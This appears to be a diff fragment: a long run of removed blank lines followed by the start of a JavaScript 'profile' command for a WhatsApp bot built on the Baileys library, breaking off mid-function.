-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-const {adams} = require("../Ibrahim/adams");
-const conf = require("../config")
-const {jidDecode}=require("@whiskeysockets/baileys")
-
-
-adams( {
- nomCom : "profile",
- categorie : "Fun",
- },
- async(dest,zk, commandeOptions)=> {
-
- const {ms , arg, repondre,auteurMessage,nomAuteurMessage, msgRepondu , auteurMsgRepondu} = commandeOptions ;
- let jid = null
- let nom = null ;
-
-
-
-
-
- if (!msgRepondu) {
- jid = auteurMessage;
- nom = nomAuteurMessage;
-
